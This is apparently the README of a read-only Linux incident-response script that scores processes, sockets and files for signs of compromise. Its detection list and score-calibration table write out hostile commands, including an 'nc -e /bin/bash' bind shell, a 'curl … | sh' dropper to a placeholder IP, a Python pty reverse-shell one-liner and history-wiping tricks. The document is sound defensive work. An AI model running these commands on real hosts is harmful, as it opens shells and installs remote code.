DFIR Linux Sniper v2.3 — a standalone Python live forensics script that cross-references active network connections, in-memory process behavior and on-disk artifacts to surgically detect compromises: C2 channels, fileless malware, LotL (Living off the Land) techniques, rootkits and persistence mechanisms.
Every retained artifact is reported with its SHA256, directly usable as a CTI pivot (VirusTotal, MalwareBazaar, MISP, OpenCTI).
- Design principles
- Installation
- Usage
- Options
- What the script analyzes
- Understanding the output
- The scoring engine
- Root vs standard user
- Impact on the analyzed machine
- Integration into an IR workflow
- Known limitations
- Troubleshooting
The script is built to be run on a potentially compromised machine, in production, without degrading the crime scene.
| Principle | Implementation |
|---|---|
| Zero dependency | Python standard library only (os, re, stat, hashlib, ipaddress, argparse, errno, sys, time). No pip install, no external binary called. |
| In-memory execution | No disk writes, no temporary file, no cache. Output goes exclusively to stdout. |
| Strict read-only | Opened with O_RDONLY | O_NOFOLLOW | O_NONBLOCK | O_NOATIME. No signal sent, no module loaded, no network connection emitted. |
| Explicit consent | A detailed warning is displayed, then confirmation is requested before any collection. |
| Resilience to hostility | Symlinks are never followed, FIFOs and devices are never opened, ANSI sequences present in filenames or cmdlines are neutralized before display. |
Compatibility: Python ≥ 3.6, any Linux with /proc (tested on kernel 6.x, x86-64). Machine endianness is handled explicitly — the script also works on ARM and big-endian.
None. Copy the file and run it.
# From a USB drive, a read-only share, or a direct pull
chmod +x linux_forensics.pyFor incident response, best practice is to write nothing on the analyzed machine: run the script from a read-only mount and redirect output to a remote collector.
ssh root@target 'python3 -' < linux_forensics.py -- -y --no-color > case-2026-042_target.txtsudo python3 linux_forensics.pyThe script displays its privilege scope, the warning, then waits for a y/n confirmation. Nothing is read until you confirm.
sudo python3 linux_forensics.py -y --no-color | tee /mnt/collect/$(hostname)-$(date +%FT%H%M%S).logThe warning is still displayed in both cases. Without a TTY and without -y, the script refuses to start: this is deliberate, so no scan can start from a mismanaged pipe.
# Quick triage: network + processes + rootkit, no filesystem walk
sudo python3 linux_forensics.py -y --no-fs
# Exhaustive hunt, including a suspicious application share
sudo python3 linux_forensics.py -y --extra-dir /opt/app --extra-dir /var/lib/tomcat
# Lower the threshold to see everything, including background noise
sudo python3 linux_forensics.py -y --min-score 10 --min-file-score 10
# Quick scan without hashing (loaded host, constrained I/O)
sudo python3 linux_forensics.py -y --no-hash
# Also hash large binaries (default limit: 128 MB)
sudo python3 linux_forensics.py -y --max-file-size 1073741824| Option | Effect |
|---|---|
-y, --yes |
Explicit consent, skips the interactive prompt. The warning is still displayed. |
--no-color |
Disables ANSI sequences. Applied automatically if stdout isn't a TTY. |
--no-fs |
Skips step 4 (filesystem hunt). |
--no-rootkit |
Skips step 3 (concealment checks). |
--no-hash |
Hashes no file. Very fast scan, but no CTI pivot. |
--min-score N |
Display threshold for findings. Default: 30. |
--min-file-score N |
Retention threshold for a file artifact before hashing. Default: 25. |
--max-file-size N |
Maximum size hashed, in bytes. Default: 134217728 (128 MB). |
--verify-system |
Checks all system binaries against the package database. Detects a trojanized distribution binary even if it isn't currently running. A few extra seconds of I/O. |
--no-pkgcheck |
Disables all package-database checks (dpkg). |
--max-file-findings N |
File artifacts detailed in the report. Default: 150. Beyond that, a finding states the truncated count. |
--max-hash-files N |
Global cap on hashed files. Default: 2000. Protects CPU and I/O on a noisy tree. |
--extra-dir PATH |
Additional directory to inspect. Repeatable, absolute path required. |
All numeric values are defensively bounded: an absurd value (--max-file-size -1) is clamped to a usable value instead of silently producing an empty report.
Execution runs in four steps.
Direct read of /proc/net/{tcp,tcp6,udp,udp6}. As root, the tables of all distinct network namespaces are aggregated via /proc/<pid>/net/, which makes a C2 operating from a container visible.
ESTABLISHED, SYN_SENT and LISTEN states (TCP) are kept, as well as UDP sockets. Strictly loopback traffic is discarded, both IPv4 and IPv6.
Every process is inspected and scored. Signals looked for:
- Binary deleted from disk but still running (
/proc/<pid>/exe→… (deleted)) — a classic of fileless malware. - Execution from a
memfd— a binary that never touched disk. - Execution from a world-writable area (
/tmp,/dev/shm,/var/tmp,/run/user…) or a hidden directory. - Impersonation of a kernel thread name (
[kworker…],[ksoftirqd…]) by a process that has a mapped binary. - Offensive command line:
/dev/tcpreverse shells,nc -e, socket-oriented Python/Perl/Ruby/PHP one-liners,socat exec:,curl … | shdropper,base64 -d | shpayload, anti-forensics (history -c,HISTFILE=/dev/null,chattr +i), known Linux miner and malware names, mining pool configuration. - Library injection via
LD_PRELOAD/LD_AUDIT, with an allowlist of legitimate integrations (snap, NVIDIA, jemalloc, PAM…). Preloaded libraries are themselves hashed. - Suspicious content in
LD_LIBRARY_PATH,PROMPT_COMMAND,BASH_ENV,ENV,PYTHONSTARTUP. - Abnormal kernel capabilities for a non-root process (
CAP_SYS_MODULE,CAP_SYS_ADMIN,CAP_SYS_PTRACE,CAP_BPF,CAP_DAC_READ_SEARCH…). - Abnormal privilege elevation: EUID = 0 with RUID ≠ 0 while the binary doesn't carry the setuid bit (legitimate setuid binaries like
sudoorpkexectrigger nothing). - Traced process (
TracerPid≠ 0, injection or debugging in progress). - Isolated network namespace, as a weak, informational signal — a legitimate container shouldn't trigger an alert on its own.
The binary of every retained process is hashed, even when deleted: /proc/<pid>/exe stays readable and is often the only recoverable copy of the implant.
Integrity via the package database. Each process's binary is checked against the fingerprints published by the distribution, read directly from /var/lib/dpkg/info/*.md5sums — no call to dpkg, no external binary, the "zero dependency" constraint holds. Two verdicts matter: MODIFIED (content differs from the package fingerprint, +80) and unpackaged (the file sits in /usr/bin, /usr/lib… but no package claims it). This is what makes an implant dropped into a trusted tree visible — a structural blind spot for path-based rules. dpkg-divert diversions are accounted for. On a non-dpkg host, the check is silently skipped.
By default, in addition to running binaries and SUID files, a light, non-recursive check of /usr/bin, /usr/sbin, /bin, /sbin against the package database is performed on every scan (a few hundred to a few thousand files, marginal cost): it closes the blind spot of an implant dropped directly into one of these directories, with no SUID bit and never executed during the scan. The MODIFIED verdict keeps its full weight there (+80, a rare and unambiguous signal). The unpackaged verdict, however, is weighted lower there (+25, below the default display threshold but retained in the CTI pivot table): on an official Docker image, utilities added by the build tooling rather than by a package (policy-rc.d, pebble, initctl…) are common and legitimate, and flagging them loudly by default would have reintroduced the very noise this scanner is meant to eliminate. --verify-system (see below) extends the check in depth (/usr/lib, /usr/libexec, 2 levels) and keeps full weight (+45) on the unpackaged verdict, consistent with an explicit request for exhaustive verification.
- Hidden processes: walks the PID range with
stat()and compares against the/proclisting. A PID that's accessible but absent from the listing revealsgetdents()filtering. Double pass and TID collection to rule out processes created during the scan. - Hidden kernel modules: discrepancy between
/proc/modulesand/sys/module(an LKM that removes itself from/proc/modulesoften stays visible in sysfs). - Tainted kernel: "proprietary module", "out-of-tree", "unsigned", "machine check error" flags.
- TCP sockets with no owning process (root only). This check is automatically dampened if a partial view of
/procis detected —/.dockerenv, container-type cgroup, distinct PID namespace, atypical PID 1 — since legitimate processes outside the namespace then explain the phenomenon. /etc/ld.so.preloadpresent and non-empty: global userland hooking. The file and every referenced library are hashed.
Directories inspected, adapted to the privilege level:
/tmp, /var/tmp, /dev/shm, /run/shm, /dev/mqueue, /dev (regular files outside legitimate tmpfs), /run/user/*, /usr/local/{bin,sbin,lib}, /opt, /var/www, /srv, home directories and their hidden subfolders (.config, .local/share, .local/bin, .ssh, .cache, bin…), and persistence points (/etc/cron.*, /var/spool/cron, /etc/profile.d, /etc/update-motd.d).
Retained: ELF binaries, hidden files, executables in temporary areas, SUID/SGID files, names designed for concealment (..., leading or trailing spaces, invisible Unicode characters, imitation of system sockets like .X11-unix), device files outside /dev, and authorized_keys.
Persistence vectors covered: scheduled tasks (cron.*, crontabs, at jobs), systemd units (system, user and generators), XDG autostart and environment.d, shell startup files (.bashrc, .profile, .zshrc, /etc/profile.d…), udev rules, ld.so.conf.d, init.d, apt.conf.d, sudoers.d, authorized_keys.
SUID/SGID sweep of system paths: a SUID binary whose fingerprint matches an interpreter present on the host is a privilege-escalation backdoor regardless of its name (+90). Legitimate SUID binaries — sudo, mount, passwd, pkexec — are claimed by a package and produce no finding.
The content of scripts dropped in temporary areas and of scheduled tasks is analyzed: a plaintext dropper in /tmp is escalated to CRITICAL, not MEDIUM. Scheduled tasks belonging to the distribution (root-owned, not world-writable) that merely call curl or wget don't trigger an alert.
Finally, reference persistence files (/etc/ld.so.preload, /etc/rc.local, /etc/crontab, /etc/sudoers, /etc/hosts.deny) are systematically hashed for comparison against a baseline.
Safety bounds: maximum depth of 6 levels, global budget of 60,000 files walked, cap of 2,000 files hashed, 150 artifacts detailed in the report, per-root cap, no mount-point crossing (network shares are never walked), symlinks never followed, regex engine bounded to 64 KB per file. Every limit hit produces an explicit finding rather than a silent truncation.
[CRITICAL] PID 543 (.pysrv) — score 140
PPID : 1 UID : 0
Binary : /tmp/.cache-x/.pysrv
Cmdline : /tmp/.cache-x/.pysrv /tmp/.cache-x/.listener.py
Connection : TCP LISTEN 0.0.0.0:41414 -> 0.0.0.0:0
Reason (+55): Execution from a world-writable area: /tmp/.cache-x/.pysrv
Reason (+70): Library injection via LD_PRELOAD=/tmp/.cache-x/libevil.so
Reason (+15): Listening socket exposed outside loopback (backdoor?)
SHA256 : 8295ee25…4f42 (binary of PID 543 (ELF))
Every Reason line shows the exact weight added to the score, which makes the verdict auditable: you see precisely why an object was flagged, and you can dismiss a signal you consider normal in your environment.
Findings are grouped by category: ROOTKIT, PROCESS, FILE, PERSISTENCE, and sorted by descending score.
The report ends with the deduplicated list of collected fingerprints, in SHA256␣␣path format — directly copyable into a threat intelligence tool or a retrohunt search.
==============================================================================
COLLECTED SHA256 FINGERPRINTS (CTI pivot)
==============================================================================
Includes artifacts retained below the display threshold: submit the full set
to CTI sources before drawing a conclusion.
8295ee25cfdb239f3e165afceda7f46de73e2b606ff0e2e3d8623e3facd30acc /tmp/.cache-x/.pysrv
ELF artifact
This table deliberately includes artifacts below the display threshold: an apparently innocuous file can be an implant known to CTI databases.
Duration: 0.2s | Files hashed: 15 (31MB) | Reads denied: 3
O_NOATIME opens: 803 | Fallback without O_NOATIME (atime modified): 0
The fallback counter tells you exactly how many atimes were modified during collection — information worth logging in your incident notes.
The script doesn't apply binary rules: every signal contributes a weight, and an object is only reported above a threshold. This is the core mechanism for reducing false positives.
| Score | Level | Reading |
|---|---|---|
| ≥ 70 | CRITICAL | A signal that's very rarely legitimate on its own, or a converging cluster. Investigate immediately. |
| 50–69 | HIGH | Strongly abnormal, context to validate. |
| 30–49 | MEDIUM | To correlate with the rest of the report and the host baseline. |
| < 30 | INFO | Not shown by default, but the fingerprint stays in the CTI table. |
Verified calibration examples:
| Command line | Score |
|---|---|
curl -s https://deb.example.org/key.gpg -o /etc/apt/key.gpg |
0 |
nc -z 10.0.0.1 443 |
0 |
python3 -c "import sys; print(sys.version)" |
0 |
python3 -c "import subprocess…" |
25 (below threshold) |
python3 -c "…socket…os.dup2…pty.spawn…" |
60 |
nc -lvp 4444 -e /bin/bash |
65 |
sh -c "curl -s http://1.2.3.4/a.sh | sh" |
70 |
Adjust --min-score to your needs: lower it for targeted investigation, raise it for fleet-wide sweeps.
Scoring alone isn't enough: some perfectly legitimate Linux mechanisms look exactly like a compromise. The following cases were encountered in real conditions and are neutralized at the source.
| Legitimate case | Why it looked like an attack | Handling |
|---|---|---|
sudo, su, pkexec, fusermount3, mount, ping |
RUID ≠ EUID = 0 | This is the setuid mechanism itself. The rule only fires if the binary doesn't carry the setuid bit — the genuinely abnormal case (elevation obtained some other way). |
xfsettingsd, mdadm, mdmon, watchdogd |
The name starts like a kernel thread (xfs, md, watchdog) |
A kernel thread is recognized by its actual form: a name containing / (kworker/0:1, jbd2/sda1-8), an exact fixed name (kthreadd, kswapd0), or a leading bracket. No more bare prefix matching. |
/run/user/<uid>/systemd/inaccessible/{chr,blk,…} |
Device nodes outside /dev |
Allowlisted: systemd creates these in mode 0000 for InaccessiblePaths=. A device node elsewhere is still flagged. |
IoC lists, cheat sheets, security tools sitting in /tmp |
The file contains /dev/tcp/, nc -e, HISTFILE=/dev/null… |
A dropper is short and concentrates one or two techniques; a file that stacks all of them is an IoC list. Beyond 4 distinct techniques, the content is no longer scored and the finding says so. The script also excludes itself from its own hunt. |
Administrative SUID binaries in /usr/local/bin or /opt |
SUID bit set | Weighted by zone: critical in /tmp, /dev/shm or a hidden path, a simple flag elsewhere (to check against the baseline). |
Firefox, Chrome, snapd, NVIDIA, jemalloc (LD_PRELOAD=libmozsandbox.so…) |
Library injection | The library is no longer judged on its name but on the one actually loaded: the relative soname is resolved via /proc/<pid>/maps, then evaluated on its origin, owner and permissions. Under /usr/lib, owned by root and not writable by others = silence. In a temporary area, home, or hidden path = critical, even if the file has since disappeared. |
X11/XFCE session files (.X0-lock, .xfsm-ICE-*, .ICEauthority, .pulse-*) |
Hidden files in /tmp |
Dismissed if inert: pure data, non-executable, < 64 KB. An ELF or a script bearing one of these names is still flagged. |
| Docker / LXC containers | Isolated network namespace, sockets with no visible owner | The isolated namespace is a weak signal (+10). Orphan sockets are automatically dampened if a partial view of /proc is detected, and the finding explains why. |
Distribution scheduled tasks (update-motd, apt, certbot) |
They call curl or wget |
Two levels: a bare network call in a root-owned, non-world-writable task = ignored; a remote shell, executed decoding, or a reference to /tmp = flagged. |
If a legitimate case specific to your fleet still comes up, the Reason (+N) detail shows exactly the rule and its weight: raise --min-score above that weight to dismiss it without losing the rest.
The script runs in both cases and clearly announces its scope.
| Check | Root | Standard user |
|---|---|---|
| Socket tables of all namespaces | ✅ | ❌ (current namespace only) |
| PID ↔ socket correlation on all processes | ✅ | Limited to the UID's own processes |
Reading environ, exe, fd of other processes |
✅ | ❌ |
| Hidden process detection | ✅ | ✅ |
| Hidden kernel modules, tainted kernel | ✅ | ✅ |
| Ownerless sockets | ✅ | ❌ (skipped, flagged in the output) |
| File hunt across all home directories | ✅ | Current home only |
O_NOATIME |
✅ on every file | Only on its own files |
A root run is significantly more thorough, but a user-level run is still useful when escalation isn't yet authorized by the IR process.
What the script does:
- It reads
/proc,/sysand a bounded set of directories. - It uses CPU for SHA256 computation (proportional to the volume hashed, shown at the end of the report).
- It may update the
atimeof files read whenO_NOATIMEisn't available (files you don't own, withoutCAP_FOWNER). The exact counter is displayed.
What the script never does:
- Write, create, delete or move a file.
- Modify a permission, an
mtime, actimeor a size (verified by before/after snapshot). - Send a signal, kill a process, load a module.
- Emit any network connection or send data to a third party.
- Follow a symlink or open a FIFO / device (no risk of blocking or misdirected read).
- Before anything else: if volatility matters most, capture RAM and network traffic first. This script reads kernel memory via
/proc, it doesn't replace that. - Run the scan, redirecting output off the machine.
- Treat the transcript as evidence: it contains cmdlines and potentially sensitive user paths.
- Submit the SHA256 table to your CTI sources. An unknown hash doesn't clear a file; a known hash speeds up qualification.
- For any CRITICAL finding involving a deleted binary, recover the copy via
/proc/<pid>/exebefore killing the process — it's often the only surviving copy. - Confirm with a memory acquisition: on a rootkitted host, the kernel can lie to the script.
- The script trusts the kernel. A sufficiently sophisticated LKM rootkit can falsify
/proc,/sysandstat()results. Concealment checks catch rootkits that naively filtergetdents()or/proc/modules, not those that hook the entire chain. - No memory analysis. No reading of
/proc/<pid>/mem, no detection of in-memory code injection or GOT/PLT hooking. - No log analysis. No
auth.log, nowtmp, no journald, no shell histories. - Integrity verification limited to dpkg. RPM, Alpine or immutable hosts aren't covered: the check is then silently skipped and the "implant in a trusted path" blind spot returns.
- Walk depth bounded to 6 levels: an implant buried deeper in
/tmpwill be missed. Use--extra-diron the relevant subdirectory. - Kernel rootkits not tested in real conditions. Concealment checks are validated against simulations, not against an actual LKM like Diamorphine or Reptile.
- Behavioral IoC detection, not signature-based. A custom-compiled implant, launched from a standard system path, with no suspicious environment variable or cmdline, communicating over 443, can slip under the threshold.
"Non-interactive standard input and --yes absent: aborting for safety"
You ran the script in a pipe or a scheduled task. Add -y.
Lots of "Reads denied" in the summary footer You're running as a standard user. This is expected behavior: objects owned by other UIDs are unreadable. Rerun as root for full coverage.
"SHA256: NOT-COMPUTED (size > limit)"
The file exceeds 128 MB. Rerun with --max-file-size above its size.
A "sockets with no owning process" alert on a containerized host The script detects and reports the dampening within the finding itself. Rerun the scan from the host to settle it.
The scan is slow on a file server
Use --no-hash for a quick triage, or --no-fs to keep only the network and process analysis.
"Truncated output: N additional artifact(s) not detailed"
The tree is noisy (build server, shared /tmp). The highest-scored artifacts are detailed first. Narrow the scope with --extra-dir, raise --min-file-score, or increase --max-file-findings.
"Hash cap reached: N file(s) not hashed"
More than 2,000 candidate files. Raise --max-hash-files if you have the machine time, or reduce the scope.
Unreadable ANSI sequences in an output file
Add --no-color. Automatic TTY detection covers most cases, but not every terminal configuration.